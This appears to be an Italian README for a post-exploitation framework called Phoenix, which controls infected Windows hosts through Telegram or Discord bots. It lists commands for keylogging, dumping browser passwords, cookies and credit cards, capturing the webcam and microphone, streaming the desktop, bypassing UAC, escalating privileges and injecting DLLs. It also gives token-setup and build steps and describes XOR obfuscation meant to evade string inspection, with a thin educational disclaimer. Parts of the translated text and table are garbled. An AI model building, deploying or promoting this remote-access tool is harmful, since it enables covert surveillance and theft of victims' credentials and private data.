
Framework di post-exploitation che abusa di siti fidati come Telegram e Discord per il C2.
Phoenix è un framework di post-exploitation basato su asincrono che sfrutta siti fidati per il C2.
Phoenix attualmente supporta le seguenti piattaforme tramite le loro API Bot:
Phoenix offre le seguenti funzionalità di base:
Command Description
------- -----------
/hello Check if the bot is acive on the host
/help Print help message
/persist Maintain access after reboot. (Requires UAC bypass)
/sleep Sleep. Usage: /sleep (seconds)
/reboot Reboot the host
/shutdown Shutdown the host
/exit End the session
/self_del Self-delete the executable
/pwd Print working directory
/dir List working directory
/cd Change directory. Usage: /cd (path)
/search Search for files. Usage: /search (path) (file)
/upload Upload files. Usage: /upload (file), /upload *.jpg
/uid Get the user id
/users List the available users
/privs List the privileges
/sysinfo Print system informations
/location Retrieve geolocation informations
/hw List installed hardware
/sw list installed software
/drv List connected drives
/net List network Adapters
/pid Show the current process ID
/ps List running processes
/pkill Kill a process by ID
/exec Execute a command
/chat Display a custom message
/webcam_list List available webcams
/webcam_snap Take a webcam snapshot: Usage: /webcam_snap (index)
/recaudio Record audio. Usage: /recaudio (seconds)
/screenshot Take a screenshot
/keylog Start keylogging
/keylog_stop Stop keylogging threads
/browser_dump Dump browser data
/clipboard Dump clipboard data
/stream_desktop Live stream the host desktop
/stream_webcam Live stream the host webcam
/stream_stop Stop live streaming threads *** needs work
/get_system Elevate privileges to SYSTEM
/bypass_uac Bypass UAC prompts
/inject Inject a target process. Usage: /inject (dll_path)
[!NOTE]
Phoenix supporta la raccolta dati dei seguenti browser:
Chrome,Edge,Braveefirefox.
- La decifratura delle password di Firefox non è attualmente supportata!
- Il modulo di dump di Chromium è basato sul progetto open source: https://github.com/Maldev-Academy/DumpBrowserSecrets/tree/main/DllExtractChromiumSecrets.
La tabella seguente mostra l'elenco dei dati raccolti per ogni browser supportato:
Phoenix attualmente implementa un semplice offuscamento XOR, il che significa che i token saranno comunque hardcoded nel binario. L'offuscamento è solo una difesa di base per prevenire un'ispezione casuale delle stringhe, non per fermare esperti ingegneri inversi.
Ngrok è essenziale per il tunneling del traffico di live streaming; Phoenix non sarebbe in grado di trasmettere in streaming il desktop/webcam dell'host senza un token ngrok valido.
/src/tunnel.rs, sostituisci la variabile token con il tuo token reale:let token = obfuscate!("YOUR_NGROK_TOKEN");
/src/telegram.rs, sostituisci le variabili bot_token e id con il tuo vero token del bot e l'ID della chat:let bot_token = obfuscate!("YOUR_TELEGRAM_TOKEN");
let id: i64 = 123456789;
> cargo build --release --bin telegram
/src/discord.rs, sostituisci la variabile token con il tuo vero token del bot:let token = obfuscate!("YOUR_DISCORD_TOKEN");
> cargo build --release --bin discord
[!IMPORTANT] I binari generati richiedono privilegi di amministratore per funzionare correttamente.
screenshot
[!CAUTION] Questo progetto è fornito solo per scopi educativi e di ricerca. Sei responsabile di assicurarti di avere l'autorizzazione appropriata prima di utilizzare questo strumento. L'autore non si assume alcuna responsabilità per un uso improprio.
Contributi e suggerimenti sono benvenuti! Se hai richieste commerciali "etiche" o desideri collaborare, sentiti libero di contattarmi a: [email protected]
| Chrome/Edge/Brave | Firefox |
|---|
| Cronologia | ✅ | ✅ |
| Cookie | ✅ | ✅ |
| Compilazione automatica | ✅ | ✅ |
| Carte di credito | ✅ | ✅ |
| Cookie | ✅ | ✅ |
| Accessi | ✅ | ❌ |